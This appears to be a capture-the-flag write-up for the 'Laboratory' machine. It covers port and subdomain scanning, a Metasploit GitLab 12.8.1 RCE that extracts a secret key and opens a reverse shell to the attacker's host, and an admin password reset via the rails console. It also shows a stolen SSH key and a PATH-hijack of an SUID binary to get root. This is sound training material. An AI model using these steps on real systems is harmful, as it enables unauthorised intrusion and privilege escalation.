Laboratory

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.78.175
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 17:18 +08
Nmap scan report for 10.129.78.175
Host is up (0.043s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

We have to add laboratory.htb to our /etc/hosts file to access the web ports.

Laboratory -> Gitlab RCE

The website is some kind of company page for coding services:

The background animated thing is pretty cool honestly. Anyways, this looked pretty static, so I did a subdomain and directory scan on the site, and found one git subdomain.

$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --hc=200 -H 'Host: FUZZ.laboratory.htb' -u https://laboratory.htb
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://laboratory.htb/
Total requests: 4989

=====================================================================
ID           Response   Lines    Word       Chars       Payload                     
=====================================================================

000000262:   302        0 L      5 W        105 Ch      "git"

When we visit this subdomain, it reveals a GitLab instance.

When trying to create a user, it appears we have to have a specific email domain being used.

Using laboratory.htb works as the email domain, then we can view the dashbaord:

Interestingly, this was running GitLab 12.8.1, which is an outdated version of the software.

This version is vulnerable to an LFI.

It was also vulnerable to RCE exploits.

There was a Metasploit module for it, which I honestly wanted to try and it works!

msf6 exploit(multi/http/gitlab_file_read_rce) > exploit

[*] Started reverse TCP handler on 10.10.14.42:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GitLab 12.8.1 is a vulnerable version.
[*] Logged in to user test123
[*] Created project /test123/7fc8Znm1
[*] Created project /test123/QoNdBDpL
[*] Created issue /test123/7fc8Znm1/issues/1
[*] Executing arbitrary file load
[+] File saved as: '/home/kali/.msf4/loot/20230629173041_default_10.129.78.175_gitlab.secrets_009016.txt'
[+] Extracted secret_key_base 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
[*] NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read
[*] Attempting to delete project /test123/7fc8Znm1
[*] Deleted project /test123/7fc8Znm1
[*] Attempting to delete project /test123/QoNdBDpL
[*] Deleted project /test123/QoNdBDpL
[*] Command shell session 1 opened (10.10.14.42:4444 -> 10.129.78.175:37260) at 2023-06-29 17:30:50 +0800

id
uid=998(git) gid=998(git) groups=998(git)

I only wanted to use this because I was lazy to set up the Docker containers required for the exploit.

Privilege Escalation

GitLab Rails -> SSH Key

This shell was spawned within a container, and there weren't any users in the home directory.

git@git:/home$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Apr 12  2016 .
drwxr-xr-x 1 root root 4096 Jul  2  2020 ..

Within the home directory of the git user, there were loads of Gitlab related files:

git@git:~$ ls -la
total 96
drwxr-xr-x 20 root              root       4096 Jun 29 09:16 .
drwxr-xr-x  1 root              root       4096 Feb 24  2020 ..
drwxr-xr-x  2 git               git        4096 Jul  2  2020 .bundle
-rw-r--r--  1 git               git         367 Jul  2  2020 .gitconfig
drwx------  2 git               git        4096 Jul  2  2020 .ssh
drwxr-x---  3 gitlab-prometheus root       4096 Jun 29 09:16 alertmanager
drwx------  2 git               root       4096 Jul  2  2020 backups
-rw-------  1 root              root         38 Jul  2  2020 bootstrapped
drwx------  3 git               root       4096 Jul  2  2020 git-data
drwx------  3 git               root       4096 Jun 29 09:16 gitaly
drwxr-xr-x  3 git               root       4096 Jul  2  2020 gitlab-ci
drwxr-xr-x  2 git               root       4096 Jun 29 09:16 gitlab-exporter
drwxr-xr-x  9 git               root       4096 Jun 29 09:16 gitlab-rails
drwx------  2 git               root       4096 Jun 29 09:16 gitlab-shell
drwxr-x---  2 git               gitlab-www 4096 Jun 29 09:16 gitlab-workhorse
drwx------  4 gitlab-prometheus root       4096 Oct 20  2020 grafana
drwx------  3 root              root       4096 Jun 29 09:26 logrotate
drwxr-x---  9 root              gitlab-www 4096 Jun 29 09:16 nginx
drwx------  2 gitlab-psql       root       4096 Jun 29 09:16 postgres-exporter
drwxr-xr-x  3 gitlab-psql       root       4096 Jun 29 09:16 postgresql
drwxr-x---  4 gitlab-prometheus root       4096 Jun 29 09:16 prometheus
-rw-r--r--  1 root              root        226 Jun 29 09:16 public_attributes.json
drwxr-x---  2 gitlab-redis      git        4096 Jun 29 09:31 redis
-rw-r--r--  1 root              root         40 Jul  2  2020 trusted-certs-directory-hash

The main thing I was looking for was credentials to any other users on the Gitlab instance, since they may have interesting files to look at. I googled more about password for Gitlab, and found methods to reset the user's password.

The documentation states that need to start a rails console, which we can do using gitlab-rails console.

git@git:/$ gitlab-rails console
--------------------------------------------------------------------------------
 GitLab:       12.8.1 (d18b43a5f5a) FOSS
 GitLab Shell: 11.0.0
 PostgreSQL:   10.12
--------------------------------------------------------------------------------

We can start some basic enumeration by first finding the administrators:

irb(main):002:0> User.admins
User.admins
=> #<ActiveRecord::Relation [#<User id:1 @dexter>]>

Then, we can actually reset the password of dexter.

irb(main):005:0> user = User.find_by_username 'dexter'
user = User.find_by_username 'dexter'
=> #<User id:1 @dexter>
irb(main):006:0> new_password = 'Password@123'
new_password = 'Password@123'
=> "Password@123"
irb(main):007:0> user.password = new_password
user.password = new_password
=> "Password@123"
irb(main):008:0> user.password_confirmation = new_password
user.password_confirmation = new_password
=> "Password@123"
irb(main):010:0> user.save!
user.save
Enqueued ActionMailer::DeliveryJob (Job ID: b987cd5d-e2e4-4558-a5ed-31339c1046f4) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007f16f64012a8 @uri=#<URI::GID gid://gitlab/User/1>>

Afterwards, we can sign in as dexter and view his projects:

'Some personal stuff' in the SecureDocker project. Turns out that refers to his private SSH key that was left on the project!

Using this, we can ssh in as the user and grab the user flag:

Ghidra -> SUID Exploit

I ran a linpeas.sh scan on the machine and found some interesting SUID binaries:

════════════════════════════════════╣ Interesting Files ╠════════════════════════════════════
[+] SUID - Check easy privesc, exploits and write perms
<TRUNCATED>
-rwsr-xr-x 1 root   dexter           17K Aug 28  2020 /usr/local/bin/docker-security
-rwsr-xr-x 1 root   root            163K Jan 19  2021 /usr/bin/sudo

The docker-security one looks like the intended exploit path. When run, this binary does nothing:

dexter@laboratory:/$ /usr/local/bin/docker-security
dexter@laboratory:/$

I downloaded a copy of this binary to my Kali machine because it looks custom and I could not find any other software online matching this. Then, I opened up a copy in Ghidra. The program is really simple:

The funny thing is that the binary is using the full path for the target file, but chmod itself doesn't have the full path specified. All we have to do is create an program that is called chmod which executes a command as root:

dexter@laboratory:/tmp$ echo '/bin/bash' > chmod
dexter@laboratory:/tmp$ chmod 777 /tmp/chmod
dexter@laboratory:/tmp$ export PATH=/tmp:$PATH

Then, we can just run docker-security to get a root shell:

Rooted!

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